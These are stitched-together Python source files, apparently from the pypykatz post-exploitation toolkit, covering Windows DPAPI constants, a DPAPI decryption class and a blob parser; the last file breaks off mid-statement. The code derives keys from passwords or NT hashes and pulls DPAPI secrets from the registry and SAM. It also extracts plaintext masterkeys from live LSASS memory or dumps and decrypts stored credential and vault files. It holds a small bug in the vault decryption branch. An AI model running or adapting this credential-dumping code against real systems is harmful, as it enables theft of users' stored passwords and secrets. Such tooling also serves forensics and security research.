59 CRYPT_MODE_CBCI = 6 # ANSI CBC Interleaved
60 CRYPT_MODE_CFBP = 7 # ANSI CFB Pipelined
61 CRYPT_MODE_OFBP = 8 # ANSI OFB Pipelined
62 CRYPT_MODE_CBCOFM = 9 # ANSI CBC + OF Masking
63 CRYPT_MODE_CBCOFMI = 10 # ANSI CBC + OFM Interleaved
64
65 ALG_SID_RC2 = 2
66 ALG_SID_RC4 = 1
67 ALG_SID_SEAL = 2
68
69 # Diffie - Hellman sub - ids
70 ALG_SID_DH_SANDF = 1
71 ALG_SID_DH_EPHEM = 2
72 ALG_SID_AGREED_KEY_ANY = 3
73 ALG_SID_KEA = 4
74 ALG_SID_ECDH = 5
75
76 # Hash sub ids
77 ALG_SID_MD2 = 1
78 ALG_SID_MD4 = 2
79 ALG_SID_MD5 = 3
80 ALG_SID_SHA = 4
81 ALG_SID_SHA1 = 4
82 ALG_SID_MAC = 5
83 ALG_SID_RIPEMD = 6
84 ALG_SID_RIPEMD160 = 7
85 ALG_SID_SSL3SHAMD5 = 8
86 ALG_SID_HMAC = 9
87 ALG_SID_TLS1PRF = 10
88 ALG_SID_HASH_REPLACE_OWF = 11
89 ALG_SID_SHA_256 = 12
90 ALG_SID_SHA_384 = 13
91 ALG_SID_SHA_512 = 14
92
93 # secure channel sub ids
94 ALG_SID_SSL3_MASTER = 1
95 ALG_SID_SCHANNEL_MASTER_HASH = 2
96 ALG_SID_SCHANNEL_MAC_KEY = 3
97 ALG_SID_PCT1_MASTER = 4
98 ALG_SID_SSL2_MASTER = 5
99 ALG_SID_TLS1_MASTER = 6
100 ALG_SID_SCHANNEL_ENC_KEY = 7
101 ALG_SID_ECMQV = 1
102
103 class ALGORITHMS(enum.IntFlag):
104 CALG_MD2 = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD2)
105 CALG_MD4 = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD4)
106 CALG_MD5 = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD5)
107 CALG_SHA = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA)
108 CALG_SHA1 = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA1)
109 CALG_RSA_SIGN = (ALG_CLASS_SIGNATURE | ALG_TYPE_RSA | ALG_SID_RSA_ANY)
110 CALG_DSS_SIGN = (ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_DSS_ANY)
111 CALG_NO_SIGN = (ALG_CLASS_SIGNATURE | ALG_TYPE_ANY | ALG_SID_ANY)
112 CALG_RSA_KEYX = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_RSA|ALG_SID_RSA_ANY)
113 CALG_DES = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_DES)
114 CALG_3DES_112 = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_3DES_112)
115 CALG_3DES = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_3DES)
116 CALG_DESX = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_DESX)
117 CALG_RC2 = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_RC2)
118 CALG_RC4 = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_STREAM|ALG_SID_RC4)
119 CALG_SEAL = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_STREAM|ALG_SID_SEAL)
120 CALG_DH_SF = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_DH_SANDF)
121 CALG_DH_EPHEM = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_DH_EPHEM)
122 CALG_AGREEDKEY_ANY = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_AGREED_KEY_ANY)
123 CALG_KEA_KEYX = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_KEA)
124 CALG_HUGHES_MD5 = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_ANY|ALG_SID_MD5)
125 CALG_SKIPJACK = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_SKIPJACK)
126 CALG_TEK = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_TEK)
127 CALG_SSL3_SHAMD5 = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SSL3SHAMD5)
128 CALG_SSL3_MASTER = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SSL3_MASTER)
129 CALG_SCHANNEL_MASTER_HASH = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_MASTER_HASH)
130 CALG_SCHANNEL_MAC_KEY = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_MAC_KEY)
131 CALG_SCHANNEL_ENC_KEY = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_ENC_KEY)
132 CALG_PCT1_MASTER = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_PCT1_MASTER)
133 CALG_SSL2_MASTER = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SSL2_MASTER)
134 CALG_TLS1_MASTER = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_TLS1_MASTER)
135 CALG_RC5 = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_RC5)
136 CALG_HMAC = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HMAC)
137 CALG_TLS1PRF = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_TLS1PRF)
138 CALG_HASH_REPLACE_OWF = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HASH_REPLACE_OWF)
139 CALG_AES_128 = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_128)
140 CALG_AES_192 = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_192)
141 CALG_AES_256 = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_256)
142 CALG_AES = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES)
143 CALG_SHA_256 = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_256)
144 CALG_SHA_384 = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_384)
145 CALG_SHA_512 = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_512)
146 CALG_ECDH = (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_ECDH)
147 CALG_ECMQV = (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_ANY | ALG_SID_ECMQV)
148 CALG_ECDSA = (ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_ECDSA)
149
150 ALGORITHMS_DATA = {
151 # Algorithm: key/SaltLen, CryptHashModule, Mode, IVLen, BlockSize
152 ALGORITHMS.CALG_SHA: (160//8, SHA1, None, None, 512//8),
153 ALGORITHMS.CALG_HMAC: (160//8, SHA512, None, None, 512//8),
154 ALGORITHMS.CALG_3DES: (192//8, DES3, SYMMETRIC_MODE.CBC, 64//8),
155 ALGORITHMS.CALG_SHA_512: (128//8, SHA512, None, None, 1024//8),
156 ALGORITHMS.CALG_AES_256: (256//8, AES, SYMMETRIC_MODE.CBC,128//8), #CBC is already in the object...
157 }
158
159
160 class FLAGS(enum.IntFlag):
161 CRYPTPROTECT_UI_FORBIDDEN = 0x1
162 CRYPTPROTECT_LOCAL_MACHINE = 0x4
163 CRYPTPROTECT_CRED_SYNC = 0x8
164 CRYPTPROTECT_AUDIT = 0x10
165 CRYPTPROTECT_VERIFY_PROTECTION = 0x40
166 CRYPTPROTECT_CRED_REGENERATE = 0x80
167 CRYPTPROTECT_SYSTEM = 0x20000000
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import os
7 import json
8 import hmac
9 import hashlib
10 from hashlib import sha1, pbkdf2_hmac
11
12 from pypykatz import logger
13 from pypykatz.dpapi.structures.masterkeyfile import MasterKeyFile
14 from pypykatz.dpapi.structures.credentialfile import CredentialFile, CREDENTIAL_BLOB
15 from pypykatz.dpapi.structures.blob import DPAPI_BLOB
16 from pypykatz.dpapi.structures.vault import VAULT_VCRD, VAULT_VPOL, VAULT_VPOL_KEYS
17
18 from pypykatz.crypto.unified.aes import AES
19 from pypykatz.crypto.unified.common import SYMMETRIC_MODE
20 from pypykatz.commons.common import UniversalEncoder
21
22 """
23 So! DPAPI...
24
25 In order to decrpyt a file/blob/data of any kind you must obtain a masterkey.
26 Masterkey can be obtained either from the LSASS process, or by decrypting a masterkeyfile. LSASS is straightforward, succsessfully dumping it will give you all the plaintext masterkeys with the appropriate GUID.
27 But if you can't use LSASS, you have to obtain the masterkey file, and decrypt it with an appropriate key. (too many keys, I know...)
28 Masterkey files can be located in '%APPDATA%\Microsoft\Protect\%SID%' for each user or '%SYSTEMDIR%\Microsoft\Protect' for the SYSTEM user. But how to decrypt them?
29 A masterkeyfile can contain multiple different keys, a masterkey is one of them. The masterkey is stored encrypted in the masterkeyfile, and is encrypted with a key that can be either a key stored in registry (LSA secrets) or not. In case the LSA DPAPI keys are not valid, you will need to use the NT hash of the user's password or the user's plaintext password itself. BUT! deriving the key from the password and the SID will yield 3 different keys, and so far noone could tell what key is the correct one to be used.
30 Solution for decrypting a masterkey in the mastereky file: harvest as many key candidates as possible and try to decrypt the masterkey. Much to our luck, verifying the signature data after decryption can tell us if the decrpytion was sucsessfull, so we can tell if the masterkey decrypted correctly or not.
31
32 But you may ask: I see a lot of different masterkey files, how can I tell which one is used for my <credential file/vault files/blob>. The answer: a masterkeyfile stores GUID of the keys it stores (eg. the masterkey), and so does your <secret> data sructure for the appropriate key. Therefore it's easy to tell which file to decrypt for a given <secret>
33
34 BUT WAIT! THERE IS MORE!
35
36 DPAPI is also used to decrypt stroed secrets in Windows Vault and Credential files.
37 Credential files:
38 1. standalone file, inside it there is a DPAPI_BLOB.
39 2. DPAPI_BLOB can be decrypted with the corresponding masterkey
40 3. After decryption you'll find a CREDENTIAL_BLOB strucutre.
41 4. CREDENTIAL_BLOB strucutre has the plaintext secrets, but it's not possible to tell in which filed they are stored. You'll need to check them by hand :)
42
43 Vault files (VCRD and VPOL):
44 VCRD file holds the secrets encrypted. The decrpytion key is stored in the VPOL file, but also encryted. The VPOL file's decryption key is a masterkey. The masterkey is stored in a Masterkeyfile...
45 1. Need to find the masterkey to decrypt the VPOL file
46 2. VPOL file will give two keys after sucsessful decryption
47 3. There is no way to tell (atm) which key will be the correct one to decrypt the VCRD file
48 4. The VCRD file has a lot of stored secrets, called attributes. Each attribute is encrypted with one of the keys from the VPOL file
49 5. For each attribute: for each key: decrypt attribute.
50 6. Check manually if one of them sucseeded because there are no integrity checks, so no way to tell programatically which key worked.
51
52 Path to decrypt stuff:
53 Sub-sections are options of how to get the keys
54
55 1. pre_masterkey:
56 a, from user password and SID
57 b, from user NT hash and SID
58 c, from live registry SYSTEM cached DPAPI key or SAM cache NT hash and SID
59 d, from offline registry hives
60
61 2. masterkey:
62 a, from masterkeyfile + pre_masterkey
63 b, from live LSASS dump
64 c, from offline LSASS dump
65
66 3. credential file:
67 a, masterkey + credential_file
68
69 3. VPOL file:
70 a, masterkey + VPOL file
71
72 3. VCRED file:
73 a, VPOL file + VCRED file
74
75 3. DPAPI_BLOB:
76 a, masterkey
77
78 TODO: A LOT! currently fetching backupkeys from the DC is not supported. and probably missing a lot of things in the strucutre parsing :(
79 """
80
81 class DPAPI:
82 def __init__(self):
83 #pre-keys
84 self.user_keys = []
85 self.machine_keys = []
86
87 #masterkey, backupkey
88 self.masterkeys = {} #guid -> binary value
89 self.backupkeys = {} #guid -> binary value
90
91 #since so far I dunno how to match vault-keys to vaults, its a list :(
92 self.vault_keys = []
93
94 @staticmethod
95 def list_masterkeys():
96 #logger.debug('Searching for MasterKey files...')
97 #appdata = os.environ.get('APPDATA')
98 #'%APPDATA%\Microsoft\Protect\%SID%'
99 #'%SYSTEMDIR%\Microsoft\Protect'
100 # TODO: implement this
101 pass
102
103 def dump_pre_keys(self, filename = None):
104 if filename is None:
105 for x in self.user_keys:
106 print(x.hex())
107 for x in self.machine_keys:
108 print(x.hex())
109 else:
110 with open(filename, 'w', newline = '') as f:
111 for x in self.user_keys:
112 f.write(x.hex() + '\r\n')
113 for x in self.machine_keys:
114 f.write(x.hex() + '\r\n')
115
116 def load_pre_keys(self, filename):
117 with open(filename, 'r') as f:
118 for line in f:
119 line = line.strip()
120 self.user_keys.append(bytes.fromhex(line))
121
122 def dump_masterkeys(self, filename = None):
123 if filename is None:
124 for x in self.masterkeys:
125 print('[GUID] %s [MASTERKEY] %s' % (x, self.masterkeys[x].hex()))
126 for x in self.backupkeys:
127 print('[GUID] %s [BACKUPKEY] %s' % (x, self.backupkeys[x].hex()))
128 else:
129 with open(filename, 'w', newline = '') as f:
130 t = { 'masterkeys' : self.masterkeys, 'backupkeys': self.backupkeys}
131 f.write(json.dumps(t, cls = UniversalEncoder, indent=4, sort_keys=True))
132
133 def load_masterkeys(self, filename):
134 with open(filename, 'r') as f:
135 data = json.loads(f.read())
136
137
138 for guid in data['backupkeys']:
139 self.backupkeys[guid] = bytes.fromhex(data['backupkeys'][guid])
140 for guid in data['masterkeys']:
141 self.masterkeys[guid] = bytes.fromhex(data['masterkeys'][guid])
142
143 print(self.masterkeys)
144
145 def get_prekeys_from_password(self, sid, password = None, nt_hash = None):
146 """
147 Creates pre-masterkeys from user SID and password of nt hash.
148 If NT hash is provided the function can only generate 2 out of the 3 possible keys,
149 this is because one of the derived keys relies ion the SHA1 hash of the user password
150
151 sid: user's SID as a string
152 password: user's password. optional. if not provided, then NT hash must be provided
153 nt_hash: user's NT hash. optional if not provided, the password must be provided
154 """
155 if password is None and nt_hash is None:
156 raise Exception('Provide either password or NT hash!')
157
158 if password is None and nt_hash:
159 if isinstance(nt_hash, str):
160 nt_hash = bytes.fromhex(nt_hash)
161 key1 = None
162
163 if password:
164 md4 = hashlib.new('md4')
165 md4.update(password.encode('utf-16le'))
166 nt_hash = md4.digest()
167 # Will generate two keys, one with SHA1 and another with MD4
168 key1 = hmac.new(sha1(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), sha1).digest()
169
170 key2 = hmac.new(nt_hash, (sid + '\0').encode('utf-16le'), sha1).digest()
171 # For Protected users
172 tmp_key = pbkdf2_hmac('sha256', nt_hash, sid.encode('utf-16le'), 10000)
173 tmp_key_2 = pbkdf2_hmac('sha256', tmp_key, sid.encode('utf-16le'), 1)[:16]
174 key3 = hmac.new(tmp_key_2, (sid + '\0').encode('utf-16le'), sha1).digest()[:20]
175
176 if key1 is not None:
177 self.user_keys.append(key1)
178 self.user_keys.append(key2)
179 self.user_keys.append(key3)
180
181 #print(key1.hex(), key2.hex(), key3.hex())
182 return key1, key2, key3
183
184 def __get_registry_secrets(self, lr):
185 """
186 Gets the pre-keys from an already parsed OffineRegistry or LiveRegistry object, populates the userkey/machinekey lists, returns the obtained keys
187
188 lr: OffineRegistry or LiveRegistry object
189 return: touple of two lists, [0] userkeys [1] machinekeys
190 """
191 user = []
192 machine = []
193 from pypykatz.registry.security.common import LSASecretDPAPI
194
195 if lr.security:
196 for secret in lr.security.cached_secrets:
197 if isinstance(secret, LSASecretDPAPI):
198 logger.debug('[DPAPI] Found DPAPI user key in registry! Key: %s' % secret.user_key)
199 logger.debug('[DPAPI] Found DPAPI machine key in registry! Key: %s' % secret.machine_key)
200 self.user_keys.append(secret.user_key)
201 user.append(secret.user_key)
202 self.machine_keys.append(secret.machine_key)
203 machine.append(secret.machine_key)
204
205 if lr.sam is not None:
206 for secret in lr.sam.secrets:
207 if secret.nt_hash:
208 sid = '%s-%s' % (lr.sam.machine_sid, secret.rid)
209 x, key2, key3 = self.get_prekeys_from_password(sid, nt_hash = secret.nt_hash)
210 logger.debug('[DPAPI] NT hash method. Calculated user key for user %s! Key2: %s Key3: %s' % (sid, key2, key3))
211 user.append(key2)
212 user.append(key3)
213 continue
214
215 return user, machine
216
217 def get_prekeys_form_registry_live(self):
218 """
219
220 return: touple of two lists, [0] userkeys [1] machinekeys
221 """
222 from pypykatz.registry.live_parser import LiveRegistry
223 from pypykatz.registry.offline_parser import OffineRegistry
224 lr = None
225 try:
226 lr = LiveRegistry.go_live()
227 except Exception as e:
228 logger.debug('[DPAPI] Failed to obtain registry secrets via direct registry reading method')
229 try:
230 lr = OffineRegistry.from_live_system()
231 except Exception as e:
232 logger.debug('[DPAPI] Failed to obtain registry secrets via filedump method')
233
234 if lr is not None:
235 return self.__get_registry_secrets(lr)
236
237 else:
238 raise Exception('Registry parsing failed!')
239
240 def get_prekeys_form_registry_files(self, system_path, security_path, sam_path = None):
241 """
242
243 return: touple of two lists, [0] userkeys [1] machinekeys
244 """
245 from pypykatz.registry.offline_parser import OffineRegistry
246 lr = None
247 try:
248 lr = OffineRegistry.from_files(system_path, sam_path = sam_path, security_path = security_path)
249 except Exception as e:
250 logger.error('[DPAPI] Failed to obtain registry secrets via direct registry reading method. Reason: %s' %e)
251
252 if lr is not None:
253 return self.__get_registry_secrets(lr)
254
255 else:
256 raise Exception('[DPAPI] Registry parsing failed!')
257
258 def get_masterkeys_from_lsass_live(self):
259 """
260 Parses the live LSASS process and extracts the plaintext masterkeys
261
262 return: dictionary of guid->keybytes
263 """
264 from pypykatz.pypykatz import pypykatz
265 katz = pypykatz.go_live()
266 for x in katz.logon_sessions:
267 for dc in katz.logon_sessions[x].dpapi_creds:
268 logger.debug('[DPAPI] Got masterkey for GUID %s via live LSASS method' % dc.key_guid)
269 self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey)
270
271 return self.masterkeys
272
273 def get_masterkeys_from_lsass_dump(self, file_path):
274 """
275 Parses the mindiump of an LSASS process file and extracts the plaintext masterkeys
276
277 file_path: path to the mindiump file
278 return: dictionary of guid->keybytes
279 """
280 from pypykatz.pypykatz import pypykatz
281 katz = pypykatz.parse_minidump_file(file_path)
282 for x in katz.logon_sessions:
283 for dc in katz.logon_sessions[x].dpapi_creds:
284 logger.debug('[DPAPI] Got masterkey for GUID %s via minidump LSASS method' % dc.key_guid)
285 self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey)
286
287 return self.masterkeys
288
289 def decrypt_masterkey_file(self, file_path, key = None):
290 """
291 Decrypts Masterkeyfile
292 file_path: path to Masterkeyfile
293 key: raw bytes of the decryption key. If not supplied the function will look for keys already cached in the DPAPI object.
294 returns: CREDENTIAL_BLOB object
295 """
296 with open(file_path, 'rb') as f:
297 return self.decrypt_masterkey_bytes(f.read(), key = key)
298
299 def decrypt_masterkey_bytes(self, data, key = None):
300 """
301 Decrypts Masterkeyfile bytes
302 data: bytearray of the masterkeyfile
303 key: bytes describing the key used for decryption
304 returns: touple of dictionaries. [0] - > masterkey[guid] = key, [1] - > backupkey[guid] = key
305 """
306 mkf = MasterKeyFile.from_bytes(data)
307
308 mks = {}
309 bks = {}
310 if mkf.masterkey is not None:
311 for user_key in self.user_keys:
312 dec_key = mkf.masterkey.decrypt(user_key)
313 if dec_key:
314 self.masterkeys[mkf.guid] = dec_key
315 mks[mkf.guid] = dec_key
316
317 for machine_key in self.machine_keys:
318 dec_key = mkf.masterkey.decrypt(machine_key)
319 if dec_key:
320 self.masterkeys[mkf.guid] = dec_key
321 mks[mkf.guid] = dec_key
322
323 if key is not None:
324 dec_key = mkf.masterkey.decrypt(key)
325 if dec_key:
326 self.masterkeys[mkf.guid] = dec_key
327 mks[mkf.guid] = dec_key
328
329 if mkf.backupkey is not None:
330 for user_key in self.user_keys:
331 dec_key = mkf.backupkey.decrypt(user_key)
332 if dec_key:
333 self.backupkeys[mkf.guid] = dec_key
334 bks[mkf.guid] = dec_key
335
336 for machine_key in self.machine_keys:
337 dec_key = mkf.backupkey.decrypt(machine_key)
338 if dec_key:
339 self.backupkeys[mkf.guid] = dec_key
340 bks[mkf.guid] = dec_key
341
342 if key is not None:
343 dec_key = mkf.backupkey.decrypt(key)
344 if dec_key:
345 self.masterkeys[mkf.guid] = dec_key
346 bks[mkf.guid] = dec_key
347
348 return mks, bks
349
350 def decrypt_credential_file(self, file_path, key = None):
351 """
352 Decrypts CredentialFile
353 file_path: path to CredentialFile
354 key: raw bytes of the decryption key. If not supplied the function will look for keys already cached in the DPAPI object.
355 returns: CREDENTIAL_BLOB object
356 """
357 if key is not None:
358 if isinstance(key, str):
359 key = bytes.fromhex(key)
360 with open(file_path, 'rb') as f:
361 return self.decrypt_credential_bytes(f.read(), key = key)
362
363 def decrypt_credential_bytes(self, data, key = None):
364 """
365 Decrypts CredentialFile bytes
366 CredentialFile holds one DPAPI blob, so the decryption is straightforward, and it also has a known structure for the cleartext.
367 Pay attention that the resulting CREDENTIAL_BLOB strucutre's fields can hold the secrets in wierd filenames like "unknown"
368
369 data: CredentialFile bytes
370 key: raw bytes of the decryption key. If not supplied the function will look for keys already cached in the DPAPI object.
371 returns: CREDENTIAL_BLOB object
372 """
373 cred = CredentialFile.from_bytes(data)
374 dec_data = self.decrypt_blob(cred.blob, key = key)
375 cb = CREDENTIAL_BLOB.from_bytes(dec_data)
376 return cb
377
378 def decrypt_blob(self, dpapi_blob, key = None):
379 """
380 Decrypts a DPAPI_BLOB object
381 The DPAPI blob has a GUID attributes which indicates the masterkey to be used, also it has integrity check bytes so it is possible to tell is decryption was sucsessfull.
382
383 dpapi_blob: DPAPI_BLOB object
384 key: raw bytes of the decryption key. If not supplied the function will look for keys already cached in the DPAPI object.
385 returns: bytes of the cleartext data
386 """
387 if key is None:
388 logger.debug('[DPAPI] Looking for master key with GUID %s' % dpapi_blob.masterkey_guid)
389 if dpapi_blob.masterkey_guid not in self.masterkeys:
390 raise Exception('No matching masterkey was found for the blob!')
391 key = self.masterkeys[dpapi_blob.masterkey_guid]
392 return dpapi_blob.decrypt(key)
393
394 def decrypt_blob_bytes(self, data, key = None):
395 """
396 Decrypts DPAPI_BLOB bytes.
397
398 data: DPAPI_BLOB bytes
399 returns: bytes of the cleartext data
400 """
401 blob = DPAPI_BLOB.from_bytes(data)
402 return self.decrypt_blob(blob, key = key)
403
404 def decrypt_vcrd_file(self, file_path, key = None):
405 """
406 Decrypts a VCRD file
407 Location: %APPDATA%\Local\Microsoft\Vault\%GUID%\<>.vcrd
408
409 file_path: path to the vcrd file
410 returns: dictionary of attrbitues as key, and a list of possible decrypted data
411 """
412
413 if key is not None:
414 if isinstance(key, str):
415 key = bytes.fromhex(key)
416
417 with open(file_path, 'rb') as f:
418 return self.decrypt_vcrd_bytes(f.read(), key = key)
419
420 def decrypt_vcrd_bytes(self, data, key = None):
421 """
422 Decrypts VCRD file bytes.
423
424 data: VCRD file bytes
425 returns: dictionary of attrbitues as key, and a list of possible decrypted data
426 """
427 vv = VAULT_VCRD.from_bytes(data)
428 return self.decrypt_vcrd(vv, key = key)
429
430 def decrypt_vcrd(self, vcrd, key = None):
431 """
432 Decrypts the attributes found in a VCRD object, and returns the cleartext data candidates
433 A VCRD file can have a lot of stored credentials inside, most of them with custom data strucutre
434 It is not possible to tell if the decryption was sucsesssfull, so treat the result accordingly
435
436 vcrd: VAULT_VCRD object
437 key: bytes of the decryption key. optional. If not supplied the function will look for stored keys.
438 returns: dictionary of attrbitues as key, and a list of possible decrypted data
439 """
440
441 def decrypt_attr(attr, key):
442 if attr.data is not None:
443 if attr.iv is not None:
444 cipher = AES(key, SYMMETRIC_MODE.CBC, iv=attr.iv)
445 else:
446 cipher = AES(key, SYMMETRIC_MODE.CBC, iv=b'\x00'*16)
447
448 cleartext = cipher.decrypt(attr.data)
449 return cleartext
450
451 res = {}
452 if key is None:
453 for i, key in enumerate(self.vault_keys):
454 for attr in vcrd.attributes:
455 cleartext = decrypt_attr(attr, key)
456 if attr not in res:
457 res[attr] = []
458 res[attr].append(cleartext)
459 else:
460 for attr in vcrd.attributes:
461 decrypt_attr(attr, key)
462 if attr not in res:
463 res[attr] = []
464 res[attr].append(cleartext)
465
466 return res
467
468 def decrypt_vpol_bytes(self, data, key = None):
469 """
470 Decrypts the VPOL file, and returns the two keys' bytes
471 A VPOL file stores two encryption keys.
472
473 data: bytes of the VPOL file
474 returns touple of bytes, describing two keys
475 """
476 vpol = VAULT_VPOL.from_bytes(data)
477 res = self.decrypt_blob(vpol.blob, key = key)
478
479 keys = VAULT_VPOL_KEYS.from_bytes(res)
480
481 self.vault_keys.append(keys.key1.get_key())
482 self.vault_keys.append(keys.key2.get_key())
483
484 return keys.key1.get_key(), keys.key2.get_key()
485
486 def decrypt_vpol_file(self, file_path, key = None):
487 """
488 Decrypts a VPOL file
489 Location: %APPDATA%\Local\Microsoft\Vault\%GUID%\<>.vpol
490
491 file_path: path to the vcrd file
492 keys: Optional.
493 returns: touple of bytes, describing two keys
494 """
495 if key is not None:
496 if isinstance(key, str):
497 key = bytes.fromhex(key)
498 with open(file_path, 'rb') as f:
499 return self.decrypt_vpol_bytes(f.read(), key = key)
500
0
1 #!/usr/bin/env python3
2 #
3 # Author:
4 # Tamas Jos (@skelsec)
5 #
6
7 import io
8 import enum
9
10 from hashlib import sha1
11 import hmac
12
13 from pypykatz.dpapi.constants import *
14 from pypykatz.commons.win_datatypes import GUID
15 from pypykatz.crypto.unified.pkcs7 import unpad
16
17
18 class DPAPI_BLOB:
19 def __init__(self):
20 self.version = None
21 self.credential_guid = None
22 self.masterkey_version = None
23 self.masterkey_guid = None
24 self.flags = None
25 self.description_length = None
26 self.description = None
27 self.crypto_algorithm = None
28 self.crypto_algorithm_length = None
29 self.salt_length = None
30 self.salt = None
31 self.HMAC_key_length = None
32 self.HMAC_key = None
33 self.hash_algorithm = None
34 self.HMAC = None
35 self.data_length = None
36 self.data = None
37 self.signature_length = None
38 self.signature = None
39
40 @staticmethod
41 def from_bytes(data):
42 return DPAPI_BLOB.from_buffer(io.BytesIO(data))
43
44 @staticmethod
45 def from_buffer(buff):
46 sk = DPAPI_BLOB()
47 sk.version = int.from_bytes(buff.read(4), 'little', signed = False)
48 sk.credential_guid = buff.read(16)
49 signature_start_pos = buff.tell()
50 sk.masterkey_version = int.from_bytes(buff.read(4), 'little', signed = False)
51 sk.masterkey_guid = GUID(buff).value
52 sk.flags = FLAGS(int.from_bytes(buff.read(4), 'little', signed = False))
53 sk.description_length = int.from_bytes(buff.read(4), 'little', signed = False)
54 sk.description = buff.read(sk.description_length)
55 sk.crypto_algorithm = ALGORITHMS(int.from_bytes(buff.read(4), 'little', signed = False))
56 sk.crypto_algorithm_length = int.from_bytes(buff.read(4), 'little', signed = False)
57 sk.salt_length = int.from_bytes(buff.read(4), 'little', signed = False)
58 sk.salt = buff.read(sk.salt_length)
59 sk.HMAC_key_length = int.from_bytes(buff.read(4), 'little', signed = False)
60 sk.HMAC_key = buff.read(sk.HMAC_key_length)
61 sk.hash_algorithm = ALGORITHMS(int.from_bytes(buff.read(4), 'little', signed = False))
62 sk.hash_algorithm_length = int.from_bytes(buff.read(4), 'little', signed = False)
63 sk.HMAC_length = int.from_bytes(buff.read(4), 'little', signed = False)
64 sk.HMAC = buff.read(sk.HMAC_length)
65 sk.data_length = int.from_bytes(buff.read(4), 'little', signed = False)
66 sk.data = buff.read(sk.data_length)
67 signature_end_pos = buff.tell()
68 buff.seek(signature_start_pos, 0)
69 sk.to_sign = buff.read(signature_end_pos - signature_start_pos)
70 sk.signature_length = int.from_bytes(buff.read(4), 'little', signed = False)
71 sk.signature = buff.read(sk.signature_length)
72 return sk
73
74 def decrypt(self, key, entropy = None):
75 def fixparity(deskey):
76 temp = b''
77 for i in range(len(deskey)):
78 t = (bin(deskey[i])[2:]).rjust(8,'0')
79 if t[:7].count('1') %2 == 0:
80 temp+= int(t[:7]+'1',2).to_bytes(1, 'big')
81 else:
82 temp+= int(t[:7]+'0',2).to_bytes(1, 'big')
83 return temp
84
85 key_hash = sha1(key).digest()
86 session_key_ctx = hmac.new(key_hash, self.salt, ALGORITHMS_DATA[self.hash_algorithm][1])
87 if entropy is not None:
88 session_key_ctx.update(entropy)
89
90 session_key = session_key_ctx.digest()
91
92 if len(session_key) > ALGORITHMS_DATA[self.hash_algorithm][4]:
93 derived_key = hmac.new(session_key, digestmod = ALGORITHMS_DATA[self.hash_algorithm][1]).digest()
94 else:
95 derived_key = session_key
96
97 if len(derived_key) < ALGORITHMS_DATA[self.crypto_algorithm][0]:
98 # Extend the key
99 derived_key += b'\x00'*ALGORITHMS_DATA[self.hash_algorithm][4]
100 ipad = bytearray([ i ^ 0x36 for i in bytearray(derived_key)][:ALGORITHMS_DATA[self.hash_algorithm][4]])
101 opad = bytearray([ i ^ 0x5c for i in bytearray(derived_key)][:ALGORITHMS_DATA[self.hash_algorithm][4]])
102 derived_key = ALGORITHMS_DATA[self.hash_algorithm][1](ipad).digest() + \
103 ALGORITHMS_DATA[self.hash_algorithm][1](opad).digest()
104 derived_key = fixparity(derived_key)
105
106 cipher = ALGORITHMS_DATA[self.crypto_algorithm][1](derived_key[:ALGORITHMS_DATA[self.crypto_algorithm][0]],
